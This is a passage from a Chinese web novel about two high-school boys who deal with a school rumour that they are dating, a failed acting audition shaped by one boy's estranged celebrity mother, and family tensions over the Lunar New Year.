但这次回来后，语文老师上课见到司云起，随口说了句：“云起，集训回来啦？怎么样？”
别人这才知道司云起是艺考生。
一时间和司云起相关的话题更多了。
事实证明，谣言这个东西，三人成虎。
那天早上主任在校门口说的两句话被不少学生听到了，其中有认识季杭司云起的，也有不认识他们的。
话说出来了，也没人辟谣，而且两个人的背影还贴在公告栏上，“司云起和季杭谈恋爱”这个消息，很快就传遍了学校。
学校贴吧——
【高三省理班的季杭和司云起真的是一对吗？是的话我要开磕了!】
[上周六早上我就在校门口，亲耳听到教导主任说的，他说司云起和季杭谈恋爱。]
[怎么个事儿？我怎么不知道！]
[等会儿，我要消化一下。我记得季杭是男生啊，司云起？]
[司云起也是男生。]
[他俩，同.性.恋啊？？？]
[只有我关注为什么他俩还能好好待在学校吗？]
[补药啊，我男神和我男神在一起了！]
……
表白墙——
【墙墙晚上好，最近学校里都在传省理班的两个男生谈恋爱，我朋友讲给我听的时候有板有眼，还说是教导主任亲口说的，到底是不是真的啊，匿死，谢谢墙。】
楼道里——
“他俩到底谈没谈啊，你不是认识他们班的人吗，你去打听打听。”
“没谈，假的，”曹书望路过，替季杭和司云起辟了谣。
然而辟谣的速度永远赶不上传谣的速度。
当司云起是艺考生的消息从班里传出去后，谣言变了。
贴吧——
【最新消息，司云起是艺考生！】
[啊？]
[啊？]
[啊？]
[那他还和季杭谈恋爱，他不怕以后出名了有人爆料黑他吗？]
表白墙——
【墙墙！！！司云起是艺考生？？？匿死！（ps：上次这个话题下的评论区太精彩了！）】
楼道里——
“感觉司云起火不了了，他现在就开始谈恋爱，以后进入娱乐圈后那么多诱惑，他肯定把持不住吧。”
“可是看着司云起不像是那人啊。”
“人不可貌相。”
……
“以上只是冰山一角，”曹书望收起平板，看向季杭，“你不想想咋辟谣啊。”
季杭没回他这句话，反倒是提了件别的事儿。
“书望，我这次考的还行。”
“嗯呢，”曹书望说，“又是第一名。”
“昨天下午放假前，皇后说让我准备演讲稿，周一升旗在台上讲。”
曹书望：“啥意思，你想让我准备演讲稿？”
季杭说话时一直都没看他，像是自己在想事情。
隔天升旗的时候，曹书望才知道季杭为什么提演讲了。
每次站队时，站最后的一直是司云起。
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>司云起前一个是季杭。
现在季杭不在，曹书望回头看了眼，问司云起：“学校里那么多人都在传你俩的谣言，你也不烦吗？”
司云起看了他一眼，“不烦。”
曹书望：“呦呵，我还以为你对所有事儿都烦呢。”
“也可以这样理解，”司云起说。
曹书望没反应过来，“啊？”
司云起远远看着季杭拿着稿的身影，说：“你现在和我说话，我就挺烦的。”
曹书望：“…………司云起别人都说你谈恋爱是黑料，我看你这张嘴才是黑料吧，等你红了我一定是你的大黑子！”
司云起淡淡的：“好。”
“别说话了，”黄侯转过来，皱着眉提醒他们。
很快就到了季杭上台，他很顺畅地读完稿子，鞠躬道谢后却没下台。
主持的老师拿开话筒，小声问他怎么了。季杭歉意地朝老师点了下头，然后将稿子背到身后，当着全校师生的面，声音再次从话筒中传出：
“很抱歉，因为一些个人问题要多耽误大家两分钟。”
曹书望回头问：“他有什么个人问题要当着全校的面讲啊？”
司云起没理他。
很快，他们听到季杭接下来的话。
“我是季杭，是近期学校里【高三省理班两个男生谈恋爱】的当事人之一。”
台下一阵唏嘘声。
“我和另一位当事人，司云起，是很好的朋友，并非是谣言里所传的恋爱关系。”顿了顿，季杭继续道，“因为谣言流传广，单单靠我去网上的帖子下面澄清的效果不突出，所以借用这次上台的机会，向大家澄清，谣言止于智者，希望大家停止对我和司云起同学相关不实消息的传播。”
“谢谢大家的理解和配合，最后，”季杭看向台下的教导主任，“秦老师，话是你说出来的，你能不能也帮我们澄清？”
教导主任上台的时间里，台下自发响起掌声。
“我去，论刚还得是季杭啊，”李锐感概道，“我还劝他多在帖子下面留言什么的，他说不用，原来是这样打算的。”
路珂：“自古以来只听说过上台当众示爱表白的，咱季杭也是开了个先例，上台辟谣，澄清恋爱传言哈哈哈哈。”
曹书望也跟着笑，笑着笑着转头，看到司云起的表情，脱口而出：“拽哥，你看起来很不爽？”
司云起：“嗯。”
他默默转回头，心想，司云起真是个神经病。
季杭都给他辟谣了，为他以后的演艺生涯扫清一个大障碍，他还有什么不高兴的！
这天晚上，曹书望因为家里没人，便去季杭家蹭个夜宵吃，饱餐了一顿后，他看见正在房间里写题的季杭，走了过去。
还没迈进房门，这门砰的一下被司云起关上了。
曹书望：“？”
司云起在房间里，冷漠的声音传到门外：“我和季杭有话要说。”
曹书望：“？”
果然是个神经病！
季杭放下笔，问：“怎么了？”
司云起背靠着门，目光落在季杭眼睛上，“季杭，我想知道你澄清的原因是什么。”
等了半分钟，没听到回答。司云起便问：“担心我的以后么。”
确实是这样，但要是真承认了，自己的心思又可能被察觉，他也不想以这件事去让司云起感动。
司云起又问：“还是……你不喜欢。”
季杭眨了下眼，用很平常的语气回答：“肯定不喜欢全校都传咱们的谣言啊，至于你的以后，嗯……不会被这点小事儿耽误的。”
良久，司云起兀自点了下头，“好。”
82.他瞎了吧
“……”
曹书望觉得他此刻的表情应该是“心如止水”的表情包。
他就以这样的表情注视着季杭，重复问：
“我想要你年前这几天陪我出去玩，你说寒假要好好学习不要出去玩。”
季杭点头。
“他，”曹书望指着司云起，“他要去外地试镜，连选不选得上都不一定呢，你就要陪他一起去？”
本来不觉得有什么，但被曹书望这样一说，季杭觉得他是有点过分。
于是他想出个折中的主意。
“书望，你去哪不是玩，那你和我们一起去吧。”
曹书望撇头，一字一顿，“不可能。”
转眼。
疾驰的高铁带着窗外的风景稍瞬即逝，曹书望依旧撇着头。
他们三个人，买到了连坐。
连坐好啊连坐。
他A，季杭B，司云起C。
真好，幸好他是靠窗，当路上另两位忽略他的时候，起码他能不那么尴尬地看着窗外。
“手机没电了，”季杭蹙眉。
曹书望闻言转头，“我都不想说你，是他试镜又不是你试镜，你紧张什么，拿着手机查查查，没电了吧。”
充电线在行李箱里，不太好拿。
季杭放下手机，装着自然的语气道：“我哪有紧张。”
曹书望“啧”了声，又有点好奇，越过季杭问司云起：“你去试镜什么角色？”
司云起言简意赅：“男二。”
“……”曹书望咬牙切齿。
司云起你最好别红，你红了我绝对是大黑子。
季杭伸手挡住曹书望的视线，把他的脸掰到另一个方向，“你眼神不好看。”
曹书望：“……你不说他说话不好听，你嫌我眼神不好看？”
“去试的角色确实是男二，”季杭解释，“但到了现场可能会有很多变动，没准、”
“没准一个也试不上呢。”曹书望飞快接话。
但嘴唇还没闭上，他的脸颊就被季杭的手掐住了。
“你重说。”
曹书望在季杭的钳制下，万分不情愿地说：“试镜顺顺利利，角色任司云起挑，行了吧。”
司云起瞥了他一眼，没什么反应。
季杭却没撤力气，“不行，太勉强。”
曹书望不服气了，说：“季杭，你再偏心点呢，你这个样子，我都要怀疑前段时间学校里的谣言是真的了。”
话音刚落，他感觉掐在脸上的力道松了。
季杭不太自在地收回手，拿起倒扣在腿上的手机，摁了几次没亮屏，他才想起来已经没电关机了。他又尴尬地想把手机放回腿上，没放稳，手机掉了下去。
曹书望匪夷所思地看着他，在他弯腰捡手机时，又看向司云起，大大咧咧地玩笑：“不是吧，真的啊？”
季杭及时坐直，笑道：“瞎说什么。别人不知道你还不知道啊。”
“也是，”曹书望说，“你和我在一起的几率都比你和司云起在一起的几率大。”
司云起突然问：“为什么。”
曹书望：“啊？”
司云起重复：“为什么你的几率比我的大？”
曹书望惊讶于此刻司云起的反应，愣了几秒，说：“季杭不喜欢你那样的性格啊。他喜欢我这性格，活泼有趣，人缘好，爱说爱闹的，还……”
“你变相夸自己呢吧，”季杭打断他的话，目视前方，“我没喜欢的性格，也没不喜欢的。”
曹书望撇着嘴摇头，“你就嘴硬，你明明就喜欢热情的。”
热情？
司云起皱着眉，盯着季杭的侧脸看了一分多钟，垂眸打开手机搜索。
没多久，余光瞥见旁边这人睡着了。
他微微动了下肩膀，用手托着季杭的头，让他靠在自己肩上。
曹书望也睡着了，他张嘴靠着窗，睡得也很香。
为了季杭能舒服的睡觉，司云起灭了手机屏，再没动一下。
到站后按照地址找到了办公楼，导演组就在里面。
“这真的靠谱吧，”曹书望问季杭，“可别咱们进去之后突然出来一堆人把咱们绑起来。”
季杭又想堵他的嘴了。
正想拉着他快点进去，没想到司云起竟然还回答了他。
“靠谱，集训时的老师联系我，给了试镜的机会。”
说完后司云起看着季杭，“他还有什么想问的么，我都可以回答。”
季杭：“……”
曹书望：“？？？”
找到楼层后，一个很有气质的女人快步走了过来，喊了声“云起”，又看向他旁边的两个男生。
犹豫了下，女人问：“云起，你带来的这两个朋友也是要……”
司云起说，“舒老师，他们是陪我来的。”
舒木对季杭和曹书望笑了笑，“我先和云起对一遍流程，你们在那边的休息区域等下他吧？”
季杭坐了过去，旁边的电梯门打开，走出来几个人。
但他懒得抬头看，只听到有高跟鞋的声音，还有另外几道脚步声。
等脚步声远了点，曹书望凑近季杭，小声说：“你看见没，那个戴着墨镜的女人，好像许凡君啊。”
季杭猛地抬头。
曹书望越发确定，他后悔道：“我就该早点拿手机拍张照片的，还能拿给肖蕊看。”
“你看清楚了么，”季杭问，“她来这干嘛？”
“这我怎么知道，她旁边还跟了个和咱差不多大的男生啊，不会是她儿子吧？不对啊，我记得她没结婚没孩子啊。”
“他们往哪里走了？”季杭着急地站起来，生怕他们和司云起撞上。
“那边，”曹书望指着。
还好，季杭松了口气，幸好不是那个舒老师办公室的方向。
但是曹书望刚刚看到的人真是许凡君吗。
可许凡君为什么会带着别的男生来这里呢？
他打算追过去看到底怎么回事，刚迈出一步，身后传来司云起的声音。
“季杭，你去哪。”
司云起走了过来，曹书望紧跟着说：“这不刚才看见、”
“没谁，”季杭慌忙截住曹书望的话，“刚才我和书望看见明星了，觉得新鲜，其实在这地儿看见明星很正常哈。”
“对呀，”舒木笑道，“你们在这里多待两天，能看见更多呢。”
“是，没什么奇怪的，”季杭说。
司云起却注意到了方才季杭眼中的错乱，那绝不是见到明星的惊讶。
“对了，”舒木问，“你们两个谁能帮下忙呀，和云起对个戏。”
“我们？”曹书望指着自己问。
舒木点头，“导演刚刚才发给我试戏的片段，是场情绪波动很大的戏，想着提前让云起找下感觉。”
“那我试试。”曹书望自告奋勇。
跟着走进舒木办公室，曹书望还以为情绪波动是指吵架一类的情节，想着终于有机会正当骂司云起一顿了，结果看到电脑上拍来的照片，顿在了原地。
这场戏讲的是司云起试镜的男二向心上人表白，但遭到了拒绝。
剧本中对男二被拒绝后的描述很简单：平静，久立。
“看完了吗？”舒木对曹书望说，“你的台词很简单，只需要说一句‘我不喜欢你’就够了，但是咱们也得专业一点哦，不要笑，尽量给云起一些情绪。”
“对着他我演不了，”司云起忽然说。
曹书望“嘿”了一声，翻了个白眼，“我还不想和你演呢。”
舒木只好看向季杭。
“我演技不行，”季杭说。
“没事，对个戏而已，你就念句台词，别的都是云起要做的。”
季杭只好站了过去。
“好，就这样的站位。”舒木站远了些，对司云起说：“云起，从表白开始。”
司云起和季杭之间隔了两米多远，他忽地朝季杭走了两步，像是要拉近距离。
舒木想提醒，可站在旁观的角度，她忽然发现，此刻司云起走到的距离才是最合适的。
它不远，因为是想要关系更近一步的试探。
它也不近，给对方足够的私人领域，代表着决定权在对方手里。
……
司云起就在这样的距离中，长久地凝视着季杭的眼睛。
终于，他扯了下嘴角，脸上浮现出一抹无可奈何的笑。
“季杭，”他轻声开口。
“诶——”曹书望的声音被舒木制止。
“他喊错名字了，”曹书望小声说。
舒木说，“他应该是忘了原台词，没关系，这遍主要看他的情绪走得对不对。”
季杭攥紧拳心，当站在这里时，他才后知后觉察觉到内心的不甘。
或许这一生他只能听到一次司云起的表白，即便是借了剧本中的故事，可此时此刻，话只是对他说的。
也正是因为借了别人的故事，他便只能按照定好的话去说。
原来两全真的很难。
“季杭，”司云起又喊了声他的名字。
季杭下意识应了一声。
听到他的回应后，司云起收起很浅的笑意，认真的目光落在季杭脸上。
几秒后，司云起说：“我喜欢你。”
呼吸在一刹间静止了，季杭动了动嘴唇，喉间却像是被什么堵住了般，他说不出来任何话。
司云起继续说：“季杭，我只喜欢你。”
季杭掐的自己掌心一片指痕，愣愣地听着司云起说完后，冲破情绪的裹挟，机械地对上自己该说的台词：“我不喜欢你。”
他垂下眼皮，不知道这场戏什么时候算结束。
这时，司云起却“嗯”了一声。
季杭抬眼，入目是
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司云起温和的笑。
舒木踮着脚走过去拽了下季杭的衣袖，用手指示意他往门口走，也就是要被表白的人离开。
季杭照做，他没做停留，打开门走了出去，背靠在紧闭的门前。
他把自己萌生出的不甘和心疼压回心底，突然听到交谈的声音，一转头，看到许凡君和两个男人往这边走来。
临到跟前，有个男人问：“许老师，舒木老师在呢，您要不要和她见一面聊两句？”
季杭听到后立刻走过去，音量放的很低，说：“舒老师在忙，现在不方便。”
闻言许凡君说：“没事，让她忙，下次自然有机会。”
男人便把许凡君送到电梯口，等电梯的时间里，季杭听到许凡君说：“刘导，我这边还有点事情，小年就先拜托你们了。”
季杭这才知道，原来两个男人中有个是导演。
他们还在电梯口，舒木办公室的门打开了。
司云起走了出来。
季杭担心他看到许凡君，立刻拉着他回办公室。没想到等电梯的三个人还没走，舒木对司云起处理情绪的能力大加夸赞，声音传了出去。
“诶，许老师等下，我听着舒木老师的声音了。走走走，难得您来一趟，舒木老师也难得在这里，你们好久没见了不是。”
季杭想关门的时候已经晚了。
导演敲了敲打开的门，笑着说：“舒木老师，你看谁来了。”
许凡君站到门口，摘下墨镜后说：“舒木。”
可等她把这间办公室里的人看清楚后，脸上的微笑瞬间就僵住了。
曹书望喜出望外，“真的是许凡君啊！能给我签个名吗！”
舒木嗔怪地看了曹书望一眼，走向许凡君，笑着打岔：“你看你，粉丝年龄涵盖人家高中生了都。”
“这是？”导演问。
舒木后退了步，向导演和许凡君介绍，“刘导，我之前和你提过很不错的苗子，就是他，叫司云起。今年跑了不下一百个集训班，我就看中了他。”
“哦哦，”导演十分给面子，“我们舒木老师的眼光独到的很，选人这方面，我很信你的。你一句话，我直接给他个角色，不试镜了都可以。”
“那不行，”舒木笑道，“你是看不起我还是不相信云起，咱们熟归熟，但不搞那一套。正常流程走，能试上就试，试不上也没关系。刚才我让云起走了遍戏，这孩子情绪处理真的很到位，我建议男主的角色也试一下，刘导，肯定能带给你惊喜的。”
“男主…”导演为难地看了许凡君一眼，“这就……”
舒木瞬间就明白，导演的意思是，男主已经内定给许凡君带来的人了。
“开个玩笑，”舒木说，“还不是因为云起这孩子实在是让我惊喜。凡君，你怎么也不说话？”
许凡君回过神，她不知道在这个场面里该如何面对司云起，只能借口工作忙匆匆离开。
她走后，舒木拍了拍司云起的肩膀，说：“马上到你了，等会儿别紧张，导演突然给你个别的片段来演也是很正常的，自然发挥就好。”
司云起点头。
过了会儿，导演助理来叫司云起。
“等我回来，”司云起把衣服外套递给季杭。
“好。”
试镜很顺利，司云起也能从导演眼中看出来，这个角色基本已经敲定给自己了。
问常规问题的环节，导演出去接了个电话，再回来时，不同于刚才的态度，问题也不问了，直接让司云起出去了。
司云起能猜出来，所以当舒木告诉他试镜没有通过时，他一点也不惊讶。
舒木能看透这些事里面的门道，刚才也出去看见了许凡君带来的内定男主。
司云起的试镜不通过，无非是许凡君的授意，而原因大概是担心以司云起的模样会盖过那个叫丁熙年的风头。
“舒老师，我没事，”司云起说，“谢谢你，帮我操了很多心。”
“这没什么，”舒木说，“给你们订了酒店，你们去休息吧。我再看看近期筹备的剧组，有消息通知你。”
季杭和曹书望在电梯口等着，看见司云起出来后，想安慰他。
“我没丧气，”看着季杭一脸担心的模样，司云起有点想揉下这人的头发。
曹书望很不解，问：“导演和舒老师的眼光差距那么大呢？舒老师都要把你夸到天上去了，这导演也是没眼光。但好奇怪哦，按理说导演对舒老师挺客气的吧，怎么也会给她个面子呀。”
季杭大致能猜出来，试镜不通过肯定和许凡君有关系。
“是我没表现好，”司云起攥着手心。
“啊？”
司云起看向季杭，语调慢条斯理的：“导演说，我这个人，太热情了，和角色差距太大。”
热情？
季杭和曹书望对视，几秒后同时看向司云起。
导演瞎了吧？？？
83.助理小季
一次试镜失败不算什么。
两三次也正常。
但已经第四次了，舒木也觉得不对劲。
看的剧本和角色并非和司云起差距很大，舒木不觉得是自己和导演的眼光冲突。
这里面应该有别的事。
她想起司云起试的第一场戏。那个导演姓刘，和自己关系不错。起初对于司云起的态度很积极，但试镜之后就变了。
如果说第一场戏试镜不通过是有许凡君的授意，那后来的三场也会有她的因素在其中吗。
可许凡君为什么要和一个孩子过不去呢。
她想不通。
这时办公室的门被轻轻敲了几下，她回过神，说：“请进。”
门被推开，她看到了季杭。
她侧了侧头，以为司云起也在他身后，没想到季杭进来后就关上了门。
只有季杭一个人。
舒木让他坐下，问：“是云起情绪不好吗，试镜没通过很正常的，你安慰安慰他。”
“没有，他情绪没问题，”季杭停顿了几秒，“舒老师，马上过年，我们要回了，提前祝您新年快乐。”
舒木愣了一下，看了眼手机后笑道：“也是，我都忘了。买到票了吗，今天还是明天？”
“今天的票，”季杭说。
舒木点点头，“好，回去好好过年，告诉云起，他的以后还长，不要太在意这几次的试镜。”
“舒老师，我想问问，”季杭直白道，“这几次试镜不通过，真的是因为司云起不合适吗？”
舒木哑声。
她没想到季杭一个重点高中的学生，也就是因为朋友司云起才能稍微了解娱乐圈，竟然能问出这样的话。
可这里面不是一两句话能解释清楚的，舒木没直接回答，反问：“怎么这样说？”
“上次我见姓刘的导演和您说，您一句话，他直接给司云起角色都可以。所以我想问，是不是……有人也能一句话就否定了司云起。”
舒木沉默了半分钟，而后站起身走到季杭身旁，拍了下他的肩，笑着说：“你们都不用考虑这个，有事情我会处理的。”
季杭觉得他已经得到答案了。
就在他走出办公室时，迎面遇上一个男生。
季杭觉得男生很眼熟，擦肩时听到男生说：“云起还没走么。”
季杭想起来了。
在许凡君演唱会场外，这个人和司云起一起出现过。
而且这个人，又和前天跟许凡君一起来的男生背影太像了。
季杭没回答他，继续往前走，身后又传来熟悉的声音——
“小年。”
脚步缓了一瞬，季杭没回头，听到许凡君踩着高跟鞋走近，温柔地问：“我这两天太忙了，没顾上来看你，我听家里阿姨说送来的饭你都不吃呀。”
丁熙年音量提高，像是要特意说给谁听，“我就喜欢你做的，别人做的都不好吃。”
许凡君“哎呦”一声，身后的助理拿出保温盒，说：“许老师自己的饭都顾不上吃，特意腾出时间来看你，给你做了饭。”
丁熙年接过饭盒，说：“谢谢许阿姨。”
“谢什么，我问过了，这几天剧本围读，小年你要辛苦几天，等你爸回来了，我们过来，陪你一起过年。”
“我爸他什么时候回来？”丁熙年问。
“快了，明晚的机票。”许凡君说。
“那你们，”丁熙年回头看了一眼，还能看到季杭的背影，“证都领了，也要办婚礼了吧。”
许凡君声音变了，隔了不算远的距离，季杭听到其中的幸福，“你爸非要去国外办婚礼，我觉得一场婚礼而已，在国内办就好了，在国外太麻烦了。小年你觉得呢。”
“国外不麻烦吧，我们家这边的亲人出国就像出门买菜一样简单。哦对了许阿姨，你的亲朋好友有多少？你儿子他也得参加吧？”
因为听着他们的话，季杭走到了这层楼的尽头，走电梯和楼梯只能往回绕，他进了眼前空荡的会议室，后面的话没有听到。
可丁熙年偏偏要拉着许凡君走过来，放着他的房间不去，也进了这间会议室。
见到季杭后，他装着惊讶的模样，问：“你也在这里？那待会儿云起也会过来吗？”
季杭看到许凡君的脸色立刻变了。
不知为何，看着眼前的一幕，季杭突然有点生理性恶心。
并不是针对许凡君，而是丁熙年。
他能看出来，丁熙年说的每一个字，每一个动作，都是故意做给自己看的。
因为自己是司云起的朋友。
丁熙年打开饭盒，笑着说：“云起来的话正好，这是他妈妈做的饭，我可以分他一点。”
季杭冷眼扫过，不屑道：“你想多了，司云起看不上你的饭。”
没料到季杭会怼他，丁熙年看向许凡君，说：“许阿姨，你不知道吧，云起就是住在他家。”
许凡君是知道的，她也看过助理拍来的照片。每一张里面司云起身旁都是季杭的身影，看起来他们是很好的朋友。
说不担心是假的，她怕眼前的季杭会告诉司云起现在发生的一切，她也担心司云起对她的恨会再次叠加。
可她没有办法。
正如一步错步步错，要是她没有抛弃司云起就好了。可她偏偏在那个年纪里做出了错误的选择，以至于走到今天的每一步，都是在一次次提醒她——回不了头。
去年，她高调宣布了和丁熙年父亲丁宇辉的恋情。
可在官宣之前，她已经和丁宇辉谈了很多年的恋爱了，早些年里她的资源不乏丁宇辉的关系。
甚至，丁熙年也是许凡君陪伴成长的。
她以为一切会顺利下去，也想过找机会和丁宇辉坦白她有个儿子的事实，可她还没说出口，这件事就被丁宇辉先查了出来。
丁宇辉不能接受初见时令他一见钟情的人生过别人的孩子，他威胁许凡君，让她这辈子都要和她亲生儿子断绝关系再不往来，不然她会失去现在所拥有的一切，也会毁掉司云起的人生。
……
“云起住在哪里，和我没有关系，”许凡君对丁熙年说，“小年，快吃饭吧，要凉了。”
丁熙年闻言满意地夹起菜，“许阿姨，我听说你这两天一直在联系云起试镜的剧组，我还以为你要靠关系给他角色呢，但是那几个剧组怎么一个也没要他啊。”
菜还没送进嘴里，跟着筷子弹在桌面。丁熙年肩膀一阵剧烈的刺痛，连人带椅子摔到地上。
季杭居高临下地睨着他，冷声道：“一想到你这种人能演主角，我真觉得你参演的剧完了。”
丁熙年大骂，可他摔在椅子上，不能很快爬起来，只能仰头瞪着季杭，“完了又怎么样，那也会有大把的导演来追着我送剧本。司云起呢，他只能像你看到的那样，卑微试镜，没导演要！”
眼看着季杭攥紧拳头，丁熙年狼狈地往后爬，同时对许凡君喊道：“你拉住他啊！”
许凡君用力拉住季杭的手腕，发现自己竟然拉不动他。情急之下，她低声地恳切道：“打了他对云起没好处。”
季杭倏地就停了。
丁熙年被许凡君的助理扶起来，吃痛地摸了摸肩膀，要朝季杭打回去时，被许凡君拦住了。
“小年，你想闹多么大，让剧组里的人们都来看你这个男主角打架吗！”
许凡君转身把季杭带到会议室外，说：“回去吧，我来处理。”
季杭没动，有点懊恼于自己的冲动，“会影响司云起么。”
愣了愣，许凡君说：“放心，不会的。”
“你叫季杭是吗，”许凡君继续道，“今天发生的事情和你听到的话，可以不和云起讲吗？”
季杭意识到，许凡君对司云起并非一点感情也没有。
“我不说他也知道的，”季杭说。
许凡君低下头，“晚一点知道也比现在要好。”
季杭“嗯”了一声，转身时说：“其实我说的是他试镜失败。我不说是您做的，他也知道。”
说完他没等回答，也没看许凡君，径直离开了。
也不知道许凡君是怎么做到的，后来看舒木和司云起的样子，他们对自己和丁熙年的冲突都不知情。
他们回家时，舒木非要开车去送他们。拗不过舒木，他们三个只好上了车。
曹书望很自觉坐在了副驾驶，把后排留给了季杭和司云起。
正值下班晚高峰，原本四十分钟的车程被拉长。
司云起转头看向季杭，这人阖着眼，但眉心蹙着，很明显没有睡着。
上车前他塞进季杭口中一颗话梅糖，这会儿应该已经化完了，他又拆了一颗，指尖捻着糖纸，送到季杭唇边。
季杭感受到唇边的触感后，很自然地张口咬过话梅含在舌尖，整个过程没有睁眼。
等着红绿灯的间隙，舒木从后视镜中看到这一幕，目光不由得在季杭脸上多停留了几秒。
红灯倏地转绿，后车鸣笛催促，她这才收了目光。
却又想到了第一场试镜前，她想看看司云起的表现力，找了季杭和他对戏。
那时的她并未多想，当司云起没记住台词，只顾着看司云起呈现出来的感情了。现在回过去一想，她猛地意识到，司云起不可能没记住台词。
要知道，当初她之所以会多注意司云起，第一原因是因为他台词记得熟练，可以称得上是过目不忘。而试镜的那场戏只有几句台词，他不可能记不住。
根本就是现场故意改的。
想到这，舒木不由得开始担心司云起这条路怎么走。
她也有私心，司云起相貌外形条件过于优越，可塑性也很强。她正在事业的过渡期，打算开工作室，打造出娱乐圈的顶流。
挑挑选选了大半年，其中不乏优秀的，可总觉得不够完美，直到遇到司云起。
现如今，她又发现司云起身上致命的一点——
司云起喜欢季杭。
司云起喜欢的人，是同性。
虽说娱乐圈同性cp很多，但那毕竟都是打造出来的，对cp任何一方都有益处。
这种出道前就明了的感情，如果他们没有实质性进展还好，要是有的话……
舒木看了眼曹书望。
如果他们已经在一起了，那作为他们的同学，肯定知道一些。
所以车到站后，司云起去给季杭买水，舒木拿出手机，对季杭说：“咱们也加个微信吧。”
季杭虽不明原因，却没拒绝。
曹书望见状也跟着拿出手机，说：“舒老师，加我加我，要是找不到司云起就找季杭，也找不到季杭找我！”
舒木笑着加上了他。
等他们进站后，舒木点开季杭的朋友圈，没看出和司云起有关。她又顺带着点开了曹书望的朋友圈，入目第一条是转发自贴吧的链接。
是他们学校的贴吧，帖子主题是【蛙趣，省理班季杭好刚！】。
舒木点击，跳转到贴吧后，把里面详细讲了季杭在全校师生前澄清和司云起谣言的前因后果看完了。
她身为局外人，对感情的敏锐度很高，一眼就看出来季杭这样做的根本原因，是因为喜欢司云起。
这样看来，舒木觉得她不怎么需要担心了。
她只需要搞清楚导演拒掉司云起的原因，解决后正常签约就可以。
但以防万一，晚上卡着他们到家的时间，她还是给季杭发了条微信。
【舒木：季杭你好，我有收到一个导演的消息，他对云起很感兴趣，想邀请他节后来试镜。这个角色还是很不错的。】
【季杭：谢谢舒老师，是要我转达给司云起吗？】
【舒木：先不用，我会和他说的。和你说是因为这个导演对演员私生活要求很严格，不允许有负面的消息传出，我能看出来你很关心云起，希望你也关注下这方面。】
季杭看到消息后扯出一个很僵硬的笑。
回了消息，他倒扣手机，心想，真的是自己对司云起的喜欢太明显了么。
他明明已经把喜欢藏得很深了，他明明有恪守朋友的关系，他明明不会阻挡司云起前行的脚步。
他明明最希望司云起好。
却总是有人来提醒他，话里是为司云起考虑，却每字每句都是在告诉他：
和司云起保持距离，不要做不该做的事情。
可他分明是，最不需要被提醒的人。
……
季满谦在房间外叫他，他打开门后，又见到了那个小姑娘。
自称是他妹妹的小姑娘。
不同于第一次见面，那晚小姑娘很欣喜地喊他“哥哥”，季杭下意识排斥道：“不要喊我哥哥，我不是。”
这次见面时，小姑娘依旧笑得很开心，说：“季杭，我叫成芜。成是成功的成，芜是……”
曹书望从门口走进来，接话道：“荒芜的芜？”
成芜不耐地转头，否认：“是芜湖的芜！”
季杭不知道该怎么面对这个突然冒出来的妹妹，他看了眼季满谦，问成芜：“你妈妈呢？”
“她在酒店。”
“那你回酒店吧，”季杭欲转身。
曹书望拦住了他，“季杭你怎么回事，小姑娘大老远来找你了。”
季满谦也说：“小杭，和你、和你妹妹多说几
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句话吧。”
季杭蹙紧眉心，不明白这一晚为什么所有人都在用言语绑架着他。
十几年，突然冒出来个妹妹来找自己。
除了自己这个当事人，所有人都比自己接受要快，然后催着他也快速接受。
可他要怎么接受。
接受自己的母亲见到自己后认不出自己？
还是接受眼前这个家庭圆满在爱里长大的妹妹？
他知道不论是成馥还是成芜都没有错。可他也没有错，平心而论，他做不到坦然的接受。
就在这时，对面房间的门被打开，司云起刚洗完澡，穿着睡衣，发梢还在淌水。
顿了两秒，司云起很快反应过来现在的情况。
他朝季杭招了下手，当着季满谦、曹书望和成芜的面，说：“季杭，过来。”
话出口后他意识到不对，立刻想改成带有商量语气的问句。还不待他重说，季杭就已经走过来了。
门关上，把他们和外面的三个人隔绝在两个空间。
即便只隔了一扇门，季杭依旧感觉轻松多了。
他没出去，也不知道成芜有没有回酒店。季满谦和曹书望都在外面，这也不是需要自己担心的事情。
司云起看他兴致不高，让他先睡觉。他在床上躺了没多会儿就睡着了。
再醒的时候，房间一片漆黑，季杭摸了摸身侧，没摸到司云起。
他拿起手机看了眼时间，23：37。
正打算打开灯，他忽地听到客厅里的谈话声。
有些轻，需要仔细听。
成芜说：“妈妈，我想在哥哥这里。”
接下来没有听到成馥的回答。
季满谦说：“小杭他……”
成馥的声音响起：“不怪小杭，是我们出现的太突然了。”
“可是哥哥不理我，第一次见面他就不理我，这次还是不理。”成芜声音很委屈。
曹书望安慰她：“季杭就是没反应过来，没事哈，我帮你说他。”
“说他做什么。”这是司云起的声音。
季杭光脚走到门边，把声音听得更清楚。
司云起问曹书望：“季杭做错什么了？为什么要说他。”
曹书望：“……”
紧接着，司云起看向成芜，声音刻意柔和了几分，说：“你来找季杭，是你个人想做的，没人阻拦你。”
成芜似懂非懂地点着头。
“所以季杭面对你的出现，不论有任何反应，也都是他自己的事情。”
成芜继续点头。
司云起掀起眼皮，扫过在场的几个人，淡声道：“怎么到季杭这儿，就都开始拦他了？”
季杭在黑暗中眨了下眼，心底一片酸涩的软。
他折返灰床上，在司云起回来之前，装出一副熟睡的样子。
那晚成芜就跟着成馥回了酒店，没有再突然出现了。
到了除夕夜，成馥带着成芜拎来几箱礼品，和季满谦告别。
季杭和她们打了个照面，没说话。
等她们下楼时，季杭站在阳台，垂眸目送了她们很远，直至离开视线。
烟花一簇簇旋上天际，绽放出好看的色彩。
季杭盯着看了会儿，听到手机振动，点开消息。
【舒木：季杭，除夕快乐。是这样，有个电影剧组看了云起的简历后想邀请他试镜，我发消息云起没回，只能来问问你。我这边有个紧急的会要开，我把选角副导演推给你，你们和他定一下时间。】
【季杭：好，谢谢舒老师。】
看到对方推来的名片后，季杭犹豫了片刻，决定自己加上，先和副导演取得联系，至少不能错失这个机会。
因为这天是司云起外婆的忌日，司云起心情很低闷，早上出去一趟后，回来就一直在房间里。
于是季杭添加好友，发送验证的前一秒，突然想到自己得有个身份。
说是司云起的同学显得太不靠谱。
季杭打算胡编自己是司云起的助理，保险起见，做戏全套，他特意申请了一个新的微信号。
名字取：助理小季。
头像……
季杭从网上找了张毛茸茸的黄色小鸡，换成了头像。
加上副导演后，他以司云起助理的身份自居，约定好了试镜时间。
做完这些后，他觉得其实一切都挺好的。
司云起这条路会越走越顺，自己和季满谦很好，成馥和成芜很幸福，朋友们生活也都好。
他扔开手机，脸上挂着笑去和季满谦一起准备年夜饭，把菜端上桌后，看到刚回来的司云起。
“你不是一直在房间里么？”季杭问，“什么时候出去的。”
司云起把门大开，让季杭看到放在楼道里的烟花。
“你出去买烟花了？”季杭惊喜道。
